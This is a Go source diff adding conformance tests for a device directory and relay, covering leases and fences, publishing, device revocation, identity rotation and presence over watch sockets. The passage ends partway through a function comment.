+ +// The presence route applies the window with nobody watching and no alarm set. +func presenceReadAppliesWindow(w watchEnv) { + w.enrol() + w.device(deviceBeatQuery) + w.wantOnline(true) + w.env.clock.Wait(lapseWait) + w.wantOnline(false) +} + +// One live socket keeps its device online, and a stale sibling announces nothing. +func oneLiveSocketKeepsOnline(w watchEnv) { + viewer, _ := w.watched() + live := w.device(deviceBeatQuery) + for range 2 { + w.env.clock.Wait(2 * time.Second) + live.ping() + } + w.env.clock.Wait(2 * time.Second) + viewer.wantSilent() + w.wantOnline(true) +} + +// A socket that declares no beat is a client from before presence: it has 75 +// seconds. That is 75 seconds of the rig's clock, so only a fake clock runs it. +func legacyWindowIs75s(w watchEnv) { + if _, fake := w.rig.Clock.(*FakeClock); !fake { + w.t.Skip("the legacy window is 75 s of the relay's own clock; the in-process relay proves it on a fake clock") + } + w.enrol() + viewer := w.viewer() + w.dialQuery(devA, "").opened() + viewer.wantPresence(w.env.id(devA), true) + w.env.clock.Wait(60 * time.Second) + w.wantOnline(true) + viewer.wantSilent() + w.env.clock.Wait(16 * time.Second) + viewer.wantPresence(w.env.id(devA), false) + w.wantOnline(false) +} + +// A beat outside 1..60, one that is not a plain decimal and two different beats +// are refused before the upgrade; the edges and one beat twice are accepted. +func badBeatIsRefused(w watchEnv) { + for _, q := range []string{"beat=0", "beat=61", "beat=x", "beat=", "beat=-1", "beat=%2B5", "beat=1.5", "beat=5&beat=6"} { + w.wantHoldQuery(q, http.StatusBadRequest) + } + for _, q := range []string{"beat=1", "beat=60", "beat=5&beat=5"} { + w.wantHoldQuery(q, http.StatusSwitchingProtocols) + } +} + +// A lapsed device is announced once: its stale socket closing starts no gap. A +// fake clock waits out the 15 s gap; a live relay is only given the quiet window. +func lapsedDeviceAnnouncedOnce(w watchEnv) { + viewer, frozen := w.watched() + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + frozen.wantClosed(directory.CloseSilent, "silent") + if _, fake := w.rig.Clock.(*FakeClock); fake { + w.env.clock.Wait(directory.OfflineDebounce + time.Second) + } + viewer.wantSilent() +} + +// The lapse stamps last_seen with the device's last sign of life and moves no version. +func lapseStampsLastSeenOnly(w watchEnv) { + id := w.env.id(devA) + w.enrol() + viewer := w.viewer() + device := w.device(deviceBeatQuery) + viewer.wantPresence(id, true) + w.env.clock.Wait(2 * time.Second) + before := w.env.clock.Now() + device.ping() + after := w.env.clock.Now() + version := w.listVersion(devB) + w.env.clock.Wait(lapseWait) + viewer.wantPresence(id, false) + l, err := w.dirAs(devB).List(ctx) + must(w.t, err) + if got := l.Devices[id].LastSeen; got < before.UnixMilli() || got > after.UnixMilli() { + w.t.Fatalf("last_seen %d, want the ping's time in [%d, %d]", got, before.UnixMilli(), after.UnixMilli()) + } + if got := w.listVersion(devB); got != version { + w.t.Fatalf("list version %d after the lapse, want %d", got, version) + } +} + +// The 101 carries Codeaf-Presence whether or not the socket declared a beat. +func upgradeAnnouncesPresence(w watchEnv) { + for _, q := range []string{"", deviceBeatQuery} { + s := w.dialQuery(devA, q) + if got := s.resp.Header.Get(directory.PresenceHeader); got != "1" { + w.t.Fatalf("101 answer has %s=%q for query %q, want 1", directory.PresenceHeader, got, q) + } + } +} diff --git a/internal/directory/directorytest/run.go b/internal/directory/directorytest/run.go new file mode 100644 index 0000000000..728c3eea0a --- /dev/null +++ b/internal/directory/directorytest/run.go @@ -0,0 +1,691 @@ +package directorytest + +import ( + "context" + "errors" + "fmt" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Devices returns the Client one device would hold. Every Client it returns +// shares one directory and the clock the factory was given. +type Devices func(device string) directory.Client + +// Factory builds a fresh, empty directory that reads time from clock. +type Factory func(t *testing.T, clock *FakeClock) Devices + +type env struct { + clock Clock + as Devices + id func(name string) string // the device id the directory knows a named device by +} + +// Rig is one fresh, empty directory as a suite sees it. A live relay decides +// device ids from keys and keeps its own clock, so a Rig carries both. +type Rig struct { + Clock Clock + Devices Devices + // ID answers the device id a named device acts as; nil means the name is the id. + ID func(name string) string +} + +// RigFactory builds a fresh Rig for one test. +type RigFactory func(t *testing.T) Rig + +const ( + cell = "01J0000000000000000000000A" + devA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + devB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + head = "1111111111111111111111111111111111111111111111111111111111111111" + next = "2222222222222222222222222222222222222222222222222222222222222222" + f1 = "3333333333333333333333333333333333333333333333333333333333333333" + f2 = "4444444444444444444444444444444444444444444444444444444444444444" + f3 = "5555555555555555555555555555555555555555555555555555555555555555" +) + +var ctx = context.Background() + +// Run runs every conformance case against a fresh directory from factory, on a +// clock that moves only when a case waits. +func Run(t *testing.T, factory Factory) { + RunRigs(t, func(t *testing.T) Rig { + clock := NewFakeClock() + return Rig{Clock: clock, Devices: factory(t, clock)} + }) +} + +// RunRigs runs every conformance case against a fresh Rig each. +func RunRigs(t *testing.T, factory RigFactory) { + for name, fn := range cases { + t.Run(name, func(t *testing.T) { fn(t, envOf(factory(t))) }) + } +} + +func envOf(r Rig) env { + id := r.ID + if id == nil { + id = func(name string) string { return name } + } + return env{clock: r.Clock, as: r.Devices, id: id} +} + +var cases = map[string]func(*testing.T, env){ + "CreateHoldsLease": createHoldsLease, + "CreateExists": createExists, + "CellNotFound": cellNotFound, + "AcquireRefusedWhileHeld": acquireRefusedWhileHeld, + "AcquireAfterExpiry": acquireAfterExpiry, + "AcquireOwnLeaseRaisesFence": acquireOwnLeaseRaisesFence, + "ForcedAcquireBeatsLiveLease": forcedAcquireBeatsLiveLease, + "HeartbeatRenews": heartbeatRenews, + "LateHeartbeatSameFence": lateHeartbeatSameFence, + "HeartbeatWrongFenceRefused": heartbeatWrongFenceRefused, + "PublishMovesHead": publishMovesHead, + "CreateStoresFrames": createStoresFrames, + "PublishReplacesFrames": publishReplacesFrames, + "PublishWithoutFramesClears": publishWithoutFramesClears, + "CellAnswerCarriesFrames": cellAnswerCarriesFrames, + "ListAnswerOmitsFrames": listAnswerOmitsFrames, + "PublishRenewsLease": publishRenewsLease, + "PublishKeepsTitleWhenEmpty": publishKeepsTitleWhenEmpty, + "PublishStaleOldHeadRefused": publishStaleOldHeadRefused, + "PublishAfterTakeoverRefused": publishAfterTakeoverRefused, + "ReleaseFreesLeaseKeepsFence": releaseFreesLeaseKeepsFence, + "ReleaseStaleRefused": releaseStaleRefused, + "ArchiveIsIdempotent": archiveIsIdempotent, + "PutDeviceUpserts": putDeviceUpserts, + "RenameReachesSiblingDevices": renameReachesSiblingDevices, + "SetVaultIsCompareAndSwap": setVaultIsCompareAndSwap, + "DirectoryClockStampsEverything": directoryClockStampsEverything, + "ConcurrentAcquireOneWins": concurrentAcquireOneWins, + "C7ConditionalForcedTakeOneWins": conditionalForcedTakeOneWins, + "C7ConditionalTakeChecksHolderAndFence": conditionalTakeChecksHolderAndFence, + "DeviceRevokedIsRefused": deviceRevokedIsRefused, + "RevokeRefusesSelfAndUnknown": revokeRefusesSelfAndUnknown, + "RevokeIsIdempotent": revokeIsIdempotent, + "RotationStatus": rotationStatus, + "RotationFreezeRefusesWrites": rotationFreezeRefusesWrites, + "RotationThawRestores": rotationThawRestores, + "RotationRetireNeedsFreeze": rotationRetireNeedsFreeze, + "RotationRetireBounds": rotationRetireBounds, + "RotationFirstFreezerWins": rotationFirstFreezerWins, + "RotationRetiredIsForever": rotationRetiredIsForever, + "RevokedCannotRotate": revokedCannotRotate, +} + +func start(t *testing.T, e env) directory.CellView { + t.Helper() + v, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(t, err) + return v +} + +func expire(e env) { e.clock.Wait(directory.LeaseTTL + time.Second) } + +func must(t *testing.T, err error) { + t.Helper() + if err != nil { + t.Fatal(err) + } +} + +func wantErr(t *testing.T, err, want error) { + t.Helper() + if !errors.Is(err, want) { + t.Fatalf("error = %v, want %v", err, want) + } +} + +func get(t *testing.T, e env) directory.Cell { + t.Helper() + v, err := e.as(devA).Cell(ctx, cell) + must(t, err) + return v.Cell +} + +func createHoldsLease(t *testing.T, e env) { + v := start(t, e) + l := v.Cell.Lease + if l.Device != e.id(devA) || l.Fence != 1 || l.Expires != v.Now+directory.LeaseTTL.Milliseconds() { + t.Fatalf("lease = %+v at now %d", l, v.Now) + } + if v.Cell.DurableAt != v.Now || v.Cell.Head != head { + t.Fatalf("cell = %+v", v.Cell) + } +} + +func createExists(t *testing.T, e env) { + start(t, e) + _, err := e.as(devB).Create(ctx, cell, directory.CellInit{Head: next}) + wantErr(t, err, directory.ErrExists) +} + +func cellNotFound(t *testing.T, e env) { + _, err := e.as(devA).Cell(ctx, cell) + wantErr(t, err, directory.ErrNotFound) + _, err = e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + wantErr(t, err, directory.ErrNotFound) +} + +func acquireRefusedWhileHeld(t *testing.T, e env) { + start(t, e) + _, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + wantErr(t, err, directory.ErrLeaseHeld) +} + +func acquireAfterExpiry(t *testing.T, e env) { + start(t, e) + expire(e) + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Device != e.id(devB) || v.Cell.Lease.Fence != 2 || v.Cell.Lease.Pending != 0 { + t.Fatalf("lease = %+v", v.Cell.Lease) + } +} + +func acquireOwnLeaseRaisesFence(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", v.Cell.Lease.Fence) + } +} + +// forcedAcquireBeatsLiveLease: a person who continues a chat where it runs now +// takes the lease at once, and the displaced holder is refused as in L7. +func forcedAcquireBeatsLiveLease(t *testing.T, e env) { + start(t, e) + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true}) + must(t, err) + if l := v.Cell.Lease; l.Device != e.id(devB) || l.Fence != 2 || l.Pending != 0 { + t.Fatalf("lease = %+v", l) + } + _, err = e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) +} + +func heartbeatRenews(t *testing.T, e env) { + start(t, e) + e.clock.Wait(directory.HeartbeatEvery) + v, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1, Pending: 3}) + must(t, err) + if v.Cell.Lease.Expires != v.Now+directory.LeaseTTL.Milliseconds() || v.Cell.Lease.Pending != 3 { + t.Fatalf("lease = %+v at now %d", v.Cell.Lease, v.Now) + } +} + +func lateHeartbeatSameFence(t *testing.T, e env) { + start(t, e) + expire(e) + v, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(t, err) + if v.Cell.Lease.Expires <= v.Now { + t.Fatalf("lease not renewed: %+v at now %d", v.Cell.Lease, v.Now) + } +} + +func heartbeatWrongFenceRefused(t *testing.T, e env) { + start(t, e) + _, err := e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 9}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devB).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) +} + +func publishMovesHead(t *testing.T, e env) { + start(t, e) + e.clock.Wait(time.Second) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{ + Fence: 1, OldHead: head, Head: next, Size: 20, Class: "chat", Title: "u", Pending: 2, + }) + must(t, err) + c := v.Cell + if c.Head != next || c.Size != 20 || c.Title != "u" || c.Lease.Pending != 2 || c.DurableAt != v.Now { + t.Fatalf("cell = %+v at now %d", c, v.Now) + } +} + +// publishRenewsLease: a publish is proof of life, so a holder that publishes +// often never needs a heartbeat. +func publishRenewsLease(t *testing.T, e env) { + start(t, e) + e.clock.Wait(directory.HeartbeatEvery) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + must(t, err) + if want := v.Now + directory.LeaseTTL.Milliseconds(); v.Cell.Lease.Expires != want { + t.Fatalf("expires = %d, want %d", v.Cell.Lease.Expires, want) + } +} + +// The frames are the publisher's plan of where the head's closure lives: create +// sets them, every publish replaces them wholesale, the cell answer carries +// them and the list answer omits them (§22.2). +func createStoresFrames(t *testing.T, e env) { + v, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1, f2}}) + must(t, err) + if got := v.Cell.Frames; len(got) != 2 || got[0] != f1 || got[1] != f2 { + t.Fatalf("frames = %v, want [%s %s]", got, f1, f2) + } +} + +func publishReplacesFrames(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Frames: []string{f2, f3}}) + must(t, err) + if got := v.Cell.Frames; len(got) != 2 || got[0] != f2 || got[1] != f3 { + t.Fatalf("frames = %v, want [%s %s]", got, f2, f3) + } +} + +func publishWithoutFramesClears(t *testing.T, e env) { + start(t, e) + if _, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: next, Head: head}) + must(t, err) + if len(v.Cell.Frames) != 0 { + t.Fatalf("frames = %v, want none", v.Cell.Frames) + } +} + +func cellAnswerCarriesFrames(t *testing.T, e env) { + if _, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + c := get(t, e) + if len(c.Frames) != 1 || c.Frames[0] != f1 { + t.Fatalf("frames = %v, want [%s]", c.Frames, f1) + } +} + +func listAnswerOmitsFrames(t *testing.T, e env) { + if _, err := e.as(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Frames: []string{f1}}); err != nil { + t.Fatal(err) + } + l, err := e.as(devA).List(ctx) + must(t, err) + if got := l.Cells[cell].Frames; len(got) != 0 { + t.Fatalf("list frames = %v, want none", got) + } +} + +func publishKeepsTitleWhenEmpty(t *testing.T, e env) { + start(t, e) + v, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + must(t, err) + if v.Cell.Title != "t" { + t.Fatalf("title = %q, want t", v.Cell.Title) + } +} + +func publishStaleOldHeadRefused(t *testing.T, e env) { + start(t, e) + _, err := e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: next, Head: next}) + wantErr(t, err, directory.ErrHeadMoved) + if got := get(t, e).Head; got != head { + t.Fatalf("head moved to %s", got) + } +} + +// publishAfterTakeoverRefused is law L7: a superseded holder can neither move +// the head nor renew, and the new holder can. +func publishAfterTakeoverRefused(t *testing.T, e env) { + start(t, e) + expire(e) + b, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if b.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", b.Cell.Lease.Fence) + } + _, err = e.as(devA).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + wantErr(t, err, directory.ErrFenceStale) + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + wantErr(t, err, directory.ErrFenceStale) + if got := get(t, e).Head; got != head { + t.Fatalf("head moved under a stale fence to %s", got) + } + _, err = e.as(devB).Publish(ctx, cell, directory.Publish{Fence: 2, OldHead: head, Head: next}) + must(t, err) +} + +func releaseFreesLeaseKeepsFence(t *testing.T, e env) { + start(t, e) + must(t, e.as(devA).Release(ctx, cell, 1)) + l := get(t, e).Lease + if l.Expires != 0 || l.Pending != 0 || l.Fence != 1 || l.Device != e.id(devA) { + t.Fatalf("lease = %+v", l) + } + v, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{}) + must(t, err) + if v.Cell.Lease.Fence != 2 { + t.Fatalf("fence = %d, want 2", v.Cell.Lease.Fence) + } +} + +func releaseStaleRefused(t *testing.T, e env) { + start(t, e) + wantErr(t, e.as(devA).Release(ctx, cell, 7), directory.ErrFenceStale) + wantErr(t, e.as(devB).Release(ctx, cell, 1), directory.ErrFenceStale) +} + +func archiveIsIdempotent(t *testing.T, e env) { + start(t, e) + must(t, e.as(devA).Archive(ctx, cell)) + must(t, e.as(devA).Archive(ctx, cell)) + if !get(t, e).Archived { + t.Fatal("cell not archived") + } + wantErr(t, e.as(devA).Archive(ctx, "missing"), directory.ErrNotFound) +} + +func putDeviceUpserts(t *testing.T, e env) { + c := e.as(devA) + must(t, c.PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "one"})) + must(t, c.PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "two"})) + l, err := c.List(ctx) + must(t, err) + if len(l.Devices) != 1 || l.Devices[e.id(devA)].Name != "two" { + t.Fatalf("devices = %+v", l.Devices) + } +} + +// renameReachesSiblingDevices: a device that renames itself is a second PutDevice +// of its own record, with no verb of its own, so an older client and an older +// relay carry a rename already. The sibling sees the new name on its next list, +// the renamed device keeps what the relay alone writes (when it joined, whether +// it is stopped), and the sibling's own record is not touched. +func renameReachesSiblingDevices(t *testing.T, e env) { + twoDevices(t, e) + before, err := e.as(devB).List(ctx) + must(t, err) + must(t, e.as(devA).PutDevice(ctx, e.id(devA), directory.Device{V: 1, Name: "renamed"})) + after, err := e.as(devB).List(ctx) + must(t, err) + renamed, sibling := after.Devices[e.id(devA)], after.Devices[e.id(devB)] + if renamed.Name != "renamed" || renamed.Created != before.Devices[e.id(devA)].Created || renamed.Revoked { + t.Fatalf("renamed device = %+v, before %+v", renamed, before.Devices[e.id(devA)]) + } + if sibling.Name != devB { + t.Fatalf("the sibling's own record changed: %+v", sibling) + } +} + +func setVaultIsCompareAndSwap(t *testing.T, e env) { + c := e.as(devA) + must(t, c.SetVault(ctx, "", "rid1")) + wantErr(t, c.SetVault(ctx, "", "rid2"), directory.ErrCAS) + must(t, c.SetVault(ctx, "rid1", "rid2")) + l, err := c.List(ctx) + must(t, err) + if l.Identity.Vault != "rid2" { + t.Fatalf("vault = %q", l.Identity.Vault) + } +} + +// directoryClockStampsEverything: devices never send a time, so every time in +// a record is the directory clock's. The clock is read before and after, so a +// clock that keeps moving is held to "between the two" and a fake to "exactly". +func directoryClockStampsEverything(t *testing.T, e env) { + e.clock.Wait(time.Second) + before := e.clock.Now().UnixMilli() + v := start(t, e) + l, err := e.as(devA).List(ctx) + must(t, err) + after := e.clock.Now().UnixMilli() + if v.Cell.DurableAt != v.Now || v.Now < before || l.Now < v.Now || l.Now > after { + t.Fatalf("now %d, durable_at %d, list now %d, want %d..%d", v.Now, v.Cell.DurableAt, l.Now, before, after) + } +} + +func concurrentAcquireOneWins(t *testing.T, e env) { + const racers = 50 + start(t, e) + expire(e) + errs := make(chan error, racers) + var wg sync.WaitGroup + for i := range racers { + wg.Add(1) + go func() { + defer wg.Done() + _, err := e.as(fmt.Sprintf("dev_%032x", i+1)).Acquire(ctx, cell, directory.AcquireOpts{}) + errs <- err + }() + } + wg.Wait() + close(errs) + tally(t, errs, racers) + if got := get(t, e).Lease.Fence; got != 2 { + t.Fatalf("fence = %d, want exactly 2", got) + } +} + +// tally checks that exactly one racer won and every other was told the lease +// is held. +func tally(t *testing.T, errs <-chan error, racers int) { + t.Helper() + won, held := 0, 0 + for err := range errs { + switch { + case err == nil: + won++ + case errors.Is(err, directory.ErrLeaseHeld): + held++ + default: + t.Errorf("unexpected error: %v", err) + } + } + if won != 1 || held != racers-1 { + t.Fatalf("won %d, held %d of %d", won, held, racers) + } +} + +// twoDevices records devA and devB as devices of one identity. +func twoDevices(t *testing.T, e env) { + t.Helper() + for _, d := range []string{devA, devB} { + must(t, e.as(d).PutDevice(ctx, e.id(d), directory.Device{V: 1, Name: d})) + } +} + +// deviceRevokedIsRefused: once A revokes B, B is refused on every verb, A goes +// on as before, and the record and the listing both say B is stopped. +func deviceRevokedIsRefused(t *testing.T, e env) { + start(t, e) + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + + b := e.as(devB) + _, listErr := b.List(ctx) + _, cellErr := b.Cell(ctx, cell) + _, createErr := b.Create(ctx, "01J0000000000000000000000B", directory.CellInit{Head: head}) + _, acquireErr := b.Acquire(ctx, cell, directory.AcquireOpts{}) + _, beatErr := b.Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + _, publishErr := b.Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + for verb, err := range map[string]error{ + "List": listErr, "Cell": cellErr, "Create": createErr, "Acquire": acquireErr, "Heartbeat": beatErr, + "Publish": publishErr, + "Release": b.Release(ctx, cell, 1), + "Archive": b.Archive(ctx, cell), + "SetVault": b.SetVault(ctx, "", "rid"), + "PutDevice": b.PutDevice(ctx, e.id(devB), directory.Device{V: 1, Name: "back"}), + "Revoke": b.Revoke(ctx, e.id(devA)), + } { + if !errors.Is(err, directory.ErrRevoked) { + t.Errorf("%s by a revoked device: %v, want ErrRevoked", verb, err) + } + } + + l, err := e.as(devA).List(ctx) + must(t, err) + if !l.Devices[e.id(devB)].Revoked || l.Devices[e.id(devA)].Revoked { + t.Fatalf("listing shows devices %+v, want only B revoked", l.Devices) + } + if got := get(t, e); got.Head != head || got.Lease.Device != e.id(devA) { + t.Fatalf("a refused device changed the cell: %+v", got) + } + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(t, err) +} + +// revokeRefusesSelfAndUnknown: a device cannot stop itself, and an id nobody +// recorded is not found. +func revokeRefusesSelfAndUnknown(t *testing.T, e env) { + twoDevices(t, e) + wantErr(t, e.as(devA).Revoke(ctx, e.id(devA)), directory.ErrSelfRevoke) + wantErr(t, e.as(devA).Revoke(ctx, "dev_cccccccccccccccccccccccccccccccc"), directory.ErrNotFound) + l, err := e.as(devA).List(ctx) + must(t, err) + if l.Devices[e.id(devA)].Revoked { + t.Fatal("a refused self-revoke still stopped the device") + } +} + +// revokeIsIdempotent: stopping a stopped device is not an error, so a retry +// after a lost answer is safe. +func revokeIsIdempotent(t *testing.T, e env) { + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) +} + +func move(t *testing.T, e env, device string, req directory.RotationReq) (directory.RotationView, error) { + t.Helper() + return e.as(device).Rotate(ctx, req) +} + +// rotationStatus: a live identity has no rotation and says what grace it accepts. +func rotationStatus(t *testing.T, e env) { + v, err := e.as(devA).Rotation(ctx) + must(t, err) + if v.Rotation != nil || v.MinMS <= 0 || v.MinMS > v.DefaultMS || v.DefaultMS > v.MaxMS { + t.Fatalf("view of a live identity = %+v", v) + } +} + +// rotationFreezeRefusesWrites: once frozen, every verb that changes a record is +// refused for every device, and reads are not. +func rotationFreezeRefusesWrites(t *testing.T, e env) { + start(t, e) + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + for _, dev := range []string{devA, devB} { + c := e.as(dev) + _, createErr := c.Create(ctx, "01J0000000000000000000000B", directory.CellInit{Head: head}) + _, acquireErr := c.Acquire(ctx, cell, directory.AcquireOpts{}) + _, beatErr := c.Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + _, publishErr := c.Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + for verb, err := range map[string]error{ + "Create": createErr, "Acquire": acquireErr, "Heartbeat": beatErr, "Publish": publishErr, + "Release": c.Release(ctx, cell, 1), + "Archive": c.Archive(ctx, cell), + "SetVault": c.SetVault(ctx, "", "rid"), + "PutDevice": c.PutDevice(ctx, e.id(dev), directory.Device{V: 1, Name: "x"}), + "Revoke": c.Revoke(ctx, e.id(devB)), + } { + if !errors.Is(err, directory.ErrRotated) { + t.Errorf("%s by %s on a frozen identity: %v, want ErrRotated", verb, dev, err) + } + } + if _, err := c.List(ctx); err != nil { + t.Errorf("List on a frozen identity: %v", err) + } + if _, err := c.Cell(ctx, cell); err != nil { + t.Errorf("Cell on a frozen identity: %v", err) + } + } + v, err := e.as(devB).Rotation(ctx) + must(t, err) + if v.Rotation == nil || v.Rotation.State != directory.StateFrozen || v.Rotation.By != e.id(devA) { + t.Fatalf("rotation = %+v, want frozen by A", v.Rotation) + } +} + +// rotationThawRestores: a thaw makes the identity writable as it was, and thawing +// a live one is not an error. +func rotationThawRestores(t *testing.T, e env) { + start(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) + must(t, e.as(devA).Archive(ctx, cell)) +} + +// rotationRetireNeedsFreeze: retiring a live identity is refused. +func rotationRetireNeedsFreeze(t *testing.T, e env) { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + wantErr(t, err, directory.ErrRotationStep) +} + +// rotationRetireBounds: a grace outside what the relay says it accepts is +// refused, none at all means the relay's default, and the deadline is the +// directory's time plus the grace. +func rotationRetireBounds(t *testing.T, e env) { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + limits, err := e.as(devA).Rotation(ctx) + must(t, err) + for _, ms := range []int64{limits.MinMS - 1, limits.MaxMS + 1} { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire, GraceMS: ms}) + wantErr(t, err, directory.ErrBadGrace) + } + v, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + if v.Rotation.State != directory.StateRetired || v.Rotation.RetireAt != v.Now+limits.DefaultMS { + t.Fatalf("retired view = %+v at %d, default %d", v.Rotation, v.Now, limits.DefaultMS) + } +} + +// rotationFirstFreezerWins: a second device cannot freeze what another froze, and +// only the device that froze may retire; any device may thaw. +func rotationFirstFreezerWins(t *testing.T, e env) { + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpRetire}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) +} + +// rotationRetiredIsForever: a retired identity cannot be thawed or frozen by +// another, and retiring again changes nothing. +func rotationRetiredIsForever(t *testing.T, e env) { + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + first, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRotated) + again, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + if *again.Rotation != *first.Rotation { + t.Fatalf("a second retire changed %+v to %+v", first.Rotation, again.Rotation) + } +} + +// revokedCannotRotate: a stopped device cannot ask for anything, rotation included. +func revokedCannotRotate(t *testing.T, e env) { + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + _, err := move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRevoked) + _, err = e.as(devB).Rotation(ctx) + wantErr(t, err, directory.ErrRevoked) +} diff --git a/internal/directory/directorytest/watch.go b/internal/directory/directorytest/watch.go new file mode 100644 index 0000000000..67b38adf9c --- /dev/null +++ b/internal/directory/directorytest/watch.go @@ -0,0 +1,75 @@ +package directorytest + +import ( + "context" + "net/http" + "testing" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// WatchRig is one fresh relay as the watch suite sees it: a Rig whose devices +// all belong to one identity, plus what the suite needs to open sockets, to +// act as a stranger, and to know how many sockets the relay lets one identity +// hold. +type WatchRig struct { + Rig + // Base is the relay's base URL, without a trailing slash. + Base string + // Sign stamps requests as the named device of the rig's one identity. + Sign func(device string) wireauth.Sign + // Stranger stamps requests as a device of a different, fresh identity. + Stranger func() wireauth.Sign + // Cap is the watcher cap the relay was built with; zero means the relay + // keeps the default directory.MaxWatchers. + Cap int +} + +// WatchRigFactory builds a fresh WatchRig for one test. +type WatchRigFactory func(t *testing.T) WatchRig + +// RunWatch runs every directory watch case of the contract (section 21.9) +// against a fresh rig each. Cases run in parallel because several wait on +// real sockets, and every case makes its own identity so none can hear another. +func RunWatch(t *testing.T, factory WatchRigFactory) { + for name, fn := range watchCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// DialWatch opens the watch socket the way every client must: a GET of the +// watch route signed over an empty body like any directory request, dialled +// with the signed headers as the handshake. On a refusal before the upgrade +// the error is non-nil and the response holds the status and the body. +func DialWatch(ctx context.Context, base string, sign wireauth.Sign) (*websocket.Conn, *http.Response, error) { + return dialWatchQuery(ctx, base, sign, "") +} + +// DialWatchHolding is DialWatch for a socket that names the leases its caller +// holds (contract 21.11.1). The hold query is part of the signed uri. +func DialWatchHolding(ctx context.Context, base string, sign wireauth.Sign, holds []directory.Hold) (*websocket.Conn, *http.Response, error) { + return dialWatchQuery(ctx, base, sign, directory.HoldQuery(holds)) +} + +// dialWatchQuery dials the 